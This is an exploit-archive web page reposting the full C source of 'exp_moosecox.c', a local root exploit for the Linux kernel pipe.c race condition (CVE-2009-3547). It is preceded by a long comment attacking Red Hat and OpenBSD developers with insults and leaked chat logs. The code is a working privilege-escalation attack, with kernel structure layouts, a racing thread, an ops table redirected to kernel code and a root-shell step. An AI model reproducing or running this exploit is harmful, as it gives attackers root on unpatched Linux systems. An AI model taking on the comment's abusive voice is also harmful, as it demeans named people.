首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Linux Kernel 2.6.x pipe.c Privilege Escalation
来源:spender at getrewted.net 作者:Spender 发布时间:2016-11-24  

/* exp_moosecox.c
   Watch a video of the exploit here:
   http://www.youtube.com/watch?v=jt81NvaOj5Y
 
   developed entirely by Ingo Molnar (exploit writer extraordinaire!) ,
   thanks to Fotis Loukos for pointing the bug out to me -- neat bug! :)
 
   dedicated to the Red Hat employees who get paid to copy+paste my
   twitter and issue security advisories, their sweet
   acknowledgement policy, and general classiness
   see: https://bugzilla.redhat.com/show_activity.cgi?id=530490
 
   "policy" aside, there's a word for what you guys are doing: "plagiarism"
   in fact, i tested this one day by posting three links to twitter,
   without any discussion on any of them.  the same day, those three
   (and only those three) links were assigned CVEs, even though two of
   them weren't even security bugs (it doesn't pay to copy+paste)
 
   official Ingo Molnar (that's me) policy for acknowledgement in
   exploits requires general douche-ness or plagiarization
   official policy further dictates immediate exploit release for
   embargoed, patched bug
 
   I'll be curious to see what the CVE statistics are like for the
   kernel this year when they get compiled next year -- I'm predicting
   that when someone's watching the sleepy watchers, a more personal
   interest is taken in doing the job that you're paid to do correctly.
 
   --------------------------------------------------------------------
 
   Special PS note to Theo (I can do this here because I know he'll
   never read it -- the guy is apparently oblivious to the entire world of
   security around him -- the same world that invents the protections
   years before him that he pats himself on the back for "innovating")
   Seriously though, it's incredible to me that an entire team
   of developers whose sole purpose is to develop a secure operating
   system can be so oblivious to the rest of the world.  They haven't
   innovated since they replaced exploitable string copies with
   exploitable string truncations 6 or so years ago.
 
   The entire joke of a thread can be read here:
   http://www.pubbs.net/openbsd/200911/4582/
   "Our focus therefore is always on finding innovative ideas which make
    bugs very hard to exploit succesfully."
   "He's too busy watching monkey porn instead of
    building researching last-year's security technology that will stop
    an exploit technique that has been exploited multiple times."
   "it seems that everyone else is slowly coming around to the
    same solution."
 
   So let's talk about this "innovation" of theirs with their
   implementation of mmap_min_addr:
 
   They implemented it in 2008, a year after Linux implemented it, a
   year after the public phrack article on the bug class, more than a
   year after my mail to dailydave with the first public Linux kernel
   exploit for the bug class, and over two years after UDEREF was
   implemented in PaX (providing complete protection against the smaller
   subset of null ptr dereference bugs and the larger class of invalid
   userland access in general).
 
   OpenBSD had a public null pointer dereference exploit (agp_ioctl())
   published for its OS in January of 2007.  It took them over a year
   and a half to implement the same feature that was implemented in
   Linux a few months after my public exploit in 2007.
 
   So how can it be that "everyone else is slowly coming around to the
   same solution"  when "everyone else" came to that solution over a
   year before you Theo?  In fact, I prediced this exact situation would
   happen back in 2007 in my DD post:
   http://lists.virus.org/dailydave-0703/msg00011.html
   "Expect OpenBSD to independently invent a protection against null ptr
    deref bugs sometime in 2009."
 
   Let's talk about some more "innovation" -- position independent
   executables.  PaX implemented position independent executables on
   Linux back in 2001 (ET_DYN).  PIE binary support was added to GNU
   binutils in 2003.  Those OpenBSD innovators implemented PIE binaries
   in 2008, 7 years after PaX.  Innovation indeed!
 
   How about their W^X/ASLR innovation?  These plagiarists have the
   audacity to announce on their press page:
   http://www.openbsd.org/press.html
   "Microsoft borrows one of OpenBSD's security features for Vista,
    stack/library randomization, under the name Address Space Layout
    Randomization (ASLR).  "Until now, the feature has been most
    prominently used in the OpenBSD Unix variant and the PaX and Exec
    Shield security patches for Linux""
   Borrowing one of your features?  Where'd this ASLR acronym come from
   anyway?  Oh that's right, PaX again -- when they published the first
   design and implementation of it, and coined the term, in July 2001.
   It covered the heap, mmap, and stack areas.
   OpenBSD implemented "stack-gap randomization" in 2003.  Way to
   innovate!
 
   W^X, which is a horrible name as OpenBSD doesn't even enforce it with
   mprotect restrictions like PaX did from the beginning or even SELinux
   is doing now (from a 3rd party contribution modeled after PaX):
   PaX implemented true per-page non-executable page support, protecting
   binary data, the heap, and the stack, back in 2000.
   OpenBSD implemented it in 2003, requiring a full userland rebuild.
   The innovation is overwhelming!
 
   They keep coming up with the same exact "innovations" others came up
   with years before them.  Their official explanation for where they
   got the W^X/ASLR ideas was a drunk guy came into their tent at one of
   their hack-a-thons and started talking about the idea.  They had
   never heard of PaX when we asked them in 2003.  Which makes the
   following involuntarily contributed private ICB logs from Phrack #66
   (Internet Citizen's Band -- OpenBSD internal chat network) so intriguing:
 
   On some sunny day in July 2002 (t: Theo de Raadt):
   <cloder> why can't you just randomize the base
   <cloder> that's what PaX does
   <t> You've not been paying attention to what art's saying, or you don't
    understand yet, either case is one of think it through yourself.
   <cloder> whatever
 
   Only to see poetic justice in August 2003 (ttt: Theo again):
 
   <miod> more exactly, we heard of pax when they started bitching
   <ttt> miod, that was very well spoken.
 
   That wraps up our OpenBSD history lesson, in case anyone forgot it.
   PS -- enjoy that null ptr deref exploit just released for OpenBSD.
 
   --------------------------------------------------------------------
 
   Important final exploit notes:
 
   don't forget to inspect /boot/config* to see if PREEMPT, LOCKBREAK,
   or DEBUG_SPINLOCK are enabled and modify the structures below
   accordingly -- a fancier exploit would do this automatically
 
   I've broken the 2.4->2.6.10 version of the exploit and would like to see
   someone fix it ;)  See below for more comments on this.
*/
 
#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sched.h>
#include <signal.h>
#include <sys/syscall.h>
#include <sys/utsname.h>
#include "exp_framework.h"
 
int pipefd[2];
struct exploit_state *exp_state;
int is_old_kernel = 0;
 
int go_go_speed_racer(void *unused)
{
    int ret;
 
        while(!exp_state->got_ring0) {
        /* bust spinlock */
        *(unsigned int *)NULL = is_old_kernel ? 0 : 1;
                ret = pipe(pipefd);
        if (!ret) {
                    close(pipefd[0]);
                    close(pipefd[1]);
        }
        }
 
    return 0;
}
 
/* <3 twiz/sgrakkyu */
int start_thread(int (*f)(void *), void *arg)
{
        char *stack = malloc(0x4000);
        int tid = clone(f, stack + 0x4000 - sizeof(unsigned long), CLONE_FS|CLONE_FILES|CLONE_SIGHAND|CLONE_VM, arg);
        if (tid < 0) {
                printf("can't create thread\n");
                exit(1);
        }
    sleep(1);
        return tid;
}
 
char *desc = "MooseCox: Linux <= 2.6.31.5 pipe local root";
char *cve = "CVE-2009-3547";
 
#define PIPE_BUFFERS 16
 
/* this changes on older kernels, but it doesn't matter to our method */
struct pipe_buf_operations {
    int can_merge;
    void *map;
    void *unmap;
    void *confirm;
    void *release;
    void *steal;
    void *get;
};
 
struct pipe_buffer2620ornewer {
    void *page;
    unsigned int offset, len;
    void *ops;
    unsigned int flags;
    unsigned long private;
};
 
struct pipe_buffer2619orolder {
    void *page;
    unsigned int offset, len;
    void *ops;
    unsigned int flags;
};
 
struct pipe_buffer2616orolder {
    void *page;
    unsigned int offset, len;
    void *ops;
};
 
struct pipe_inode_info2620ornewer {
    unsigned int spinlock;
    /*
    // LOCKBREAK
    unsigned int break_lock;
    // DEBUG_SPINLOCK
    unsigned int magic, owner_cpu;
    void *owner;
    */
    void *next, *prev;
    unsigned int nrbufs, curbuf;
    void *tmp_page;
    unsigned int readers;
    unsigned int writers;
    unsigned int waiting_writers;
    unsigned int r_counter;
    unsigned int w_counter;
    void *fasync_readers;
    void *fasync_writers;
    void *inode;
    struct pipe_buffer2620ornewer bufs[PIPE_BUFFERS];
};
 
struct pipe_inode_info2619orolder {
    unsigned int spinlock;
    /*
    // if PREEMPT enabled
    unsigned int break_lock;
    // DEBUG_SPINLOCK
    unsigned int magic, owner_cpu;
    void *owner;
    */
    void *next, *prev;
    unsigned int nrbufs, curbuf;
    struct pipe_buffer2619orolder bufs[PIPE_BUFFERS];
    void *tmp_page;
    unsigned int start;
    unsigned int readers;
    unsigned int writers;
    unsigned int waiting_writers;
    unsigned int r_counter;
    unsigned int w_counter;
    void *fasync_readers;
    void *fasync_writers;
    void *inode;
};
 
struct pipe_inode_info2616orolder {
    unsigned int spinlock;
    /*
    // if PREEMPT enabled
    unsigned int break_lock;
    // DEBUG_SPINLOCK
    unsigned int magic, owner_cpu;
    */
    void *owner;
    void *next, *prev;
    unsigned int nrbufs, curbuf;
    struct pipe_buffer2616orolder bufs[PIPE_BUFFERS];
    void *tmp_page;
    unsigned int start;
    unsigned int readers;
    unsigned int writers;
    unsigned int waiting_writers;
    unsigned int r_counter;
    unsigned int w_counter;
    void *fasync_readers;
    void *fasync_writers;
};
 
struct fasync_struct {
    int magic;
    int fa_fd;
    struct fasync_struct *fa_next;
    void *file;
};
 
struct pipe_inode_info2610orolder {
    /* this includes 2.4 kernels */
    unsigned long lock; // can be rw or spin
    void *next, *prev;
    char *base;
    unsigned int len;
    unsigned int start;
    unsigned int readers;
    unsigned int writers;
    /* 2.4 only */
    unsigned int waiting_readers;
 
    unsigned int waiting_writers;
    unsigned int r_counter;
    unsigned int w_counter;
    /* 2.6 only */
    struct fasync_struct *fasync_readers;
    struct fasync_struct *fasync_writers;
};
 
int prepare(unsigned char *buf)
{  
    struct pipe_inode_info2610orolder *info_oldest = (struct pipe_inode_info2610orolder *)buf;
    struct pipe_inode_info2616orolder *info_older = (struct pipe_inode_info2616orolder *)buf;
    struct pipe_inode_info2619orolder *info_old = (struct pipe_inode_info2619orolder *)buf;
    struct pipe_inode_info2620ornewer *info_new = (struct pipe_inode_info2620ornewer *)buf;
    struct pipe_buf_operations *ops = (struct pipe_buf_operations *)0x800;
    int i;
    int newver;
    struct utsname unm;
 
    i = uname(&unm);
    if (i != 0) {
        printf("unable to get kernel version\n");
        exit(1);
    }
 
    if (strlen(unm.release) >= 6 && unm.release[2] == '6' && unm.release[4] >= '2' && unm.release[5] >= '0' && unm.release[5] <= '9') {
        fprintf(stdout, " [+] Using newer pipe_inode_info layout\n");
        newver = 3;
    } else if (strlen(unm.release) >= 6 && unm.release[2] == '6' && unm.release[4] >= '1' && unm.release[5] >= '7' && unm.release[5] <= '9') {
        fprintf(stdout, " [+] Using older pipe_inode_info layout\n");
        newver = 2;
    } else if (strlen(unm.release) >= 5 && unm.release[2] == '6') {
        fprintf(stdout, " [+] Using older-er pipe_inode_info layout\n");
        newver = 1;
//  } else if (strlen(unm.release) >= 5 && unm.release[2] >= '4') {
//      is_old_kernel = 1;
//      newver = 0;
    } else {
        fprintf(stdout, " [+] This kernel is still vulnerable, but I can't be bothered to write the exploit.  Write it yourself.\n");
        exit(1);
    }
 
    /* for most of these what will happen is our write will
       cause ops->confirm(/pin) to be called, which we've replaced
       with own_the_kernel
       for the 2.6.10->2.6.16 case it has no confirm/pin op, so what gets
       called instead (repeatedly) is the release op
    */
    if (newver == 3) {
        /* uncomment for DEBUG_SPINLOCK */
        //info_new->magic = 0xdead4ead;
        /* makes list_head empty for wake_up_common */
        info_new->next = &info_new->next;
        info_new->readers = 1;
        info_new->writers = 1;
        info_new->nrbufs = 1;
        info_new->curbuf = 1;
        for (i = 0; i < PIPE_BUFFERS; i++)
            info_new->bufs[i].ops = (void *)ops;
    } else if (newver == 2) {
        /* uncomment for DEBUG_SPINLOCK */
        //info_old->magic = 0xdead4ead;
        /* makes list_head empty for wake_up_common */
        info_old->next = &info_old->next;
        info_old->readers = 1;
        info_old->writers = 1;
        info_old->nrbufs = 1;
        info_old->curbuf = 1;
        for (i = 0; i < PIPE_BUFFERS; i++)
            info_old->bufs[i].ops = (void *)ops;
    } else if (newver == 1) {
        /* uncomment for DEBUG_SPINLOCK */
        //info_older->magic = 0xdead4ead;
        /* makes list_head empty for wake_up_common */
        info_older->next = &info_older->next;
        info_older->readers = 1;
        info_older->writers = 1;
        info_older->nrbufs = 1;
        info_older->curbuf = 1;
        /* we'll get called multiple times from free_pipe_info
           but it's ok because own_the_kernel handles this case
        */
        for (i = 0; i < PIPE_BUFFERS; i++)
            info_older->bufs[i].ops = (void *)ops;
    } else {
        /*
        different ballgame here, instead of being able to
        provide a function pointer in the ops table, you
        control a base address used to compute the address for
        a copy into the kernel via copy_from_user.  The
        following should get you started.
        */
        /* lookup symbol for writable fptr then trigger it later
           change the main write in the one thread to write out
           pointers with the value of exp_state->exploit_kernel
        */
        info_oldest->base = (char *)0xc8000000;
        info_oldest->readers = 1;
        info_oldest->writers = 1;
        return 0;
    }
 
    ops->can_merge = 1;
    for (i = 0; i < 16; i++)
        ((void **)&ops->map)[i] = exp_state->own_the_kernel;
 
    return 0;
}
 
int requires_null_page = 1;
 
int get_exploit_state_ptr(struct exploit_state *ptr)
{
    exp_state = ptr;
    return 0;
}
 
int trigger(void)
{
        char buf[128];
        int fd;
    int i = 0;
 
    /* ignore sigpipe so we don't bail out early */
    signal(SIGPIPE, SIG_IGN);
 
    start_thread(go_go_speed_racer, NULL);
 
    fprintf(stdout, " [+] We'll let this go for a while if needed...\n");
    fflush(stdout);
 
        while (!exp_state->got_ring0 && i < 10000000) {
        fd = pipefd[1];
        sprintf(buf, "/proc/self/fd/%d", fd);
        fd = open(buf, O_WRONLY | O_NONBLOCK);
        if (fd >= 0) {
            /* bust spinlock */
            *(unsigned int *)NULL = is_old_kernel ? 0 : 1;
            write(fd, ".", 1);
            close(fd);
        }
        i++;
        }
 
    if (!exp_state->got_ring0) {
        fprintf(stdout, " [+] Failed to trigger the vulnerability.  Is this a single processor machine with CONFIG_PREEMPT_NONE=y?\n");
        return 0;
    }
 
    return 1;
}
 
int post(void)
{
//  return RUN_ROOTSHELL;
    return FUNNY_PIC_AND_ROOTSHELL;
}

 


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Linux Kernel 2.6.32-rc1 x86_64
·Linux Kernel 4.6.3 Netfilter P
·Linux Kernel 2.6.18 move_pages
·Microsoft Windows Kernel - 'wi
·Chrome Blink SpeechRecognition
·GNU Wget < 1.18 - Access List
·Linux Kernel 2.6.32-642 / 3.16
·Remote Utilities Host 6.3 - De
·Microsoft Internet Explorer 8
·Osticket 1.9.14 - 'X-Forwarded
·Microsoft Internet Explorer 8
·Core FTP LE 2.2 - 'SSH/SFTP' R
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved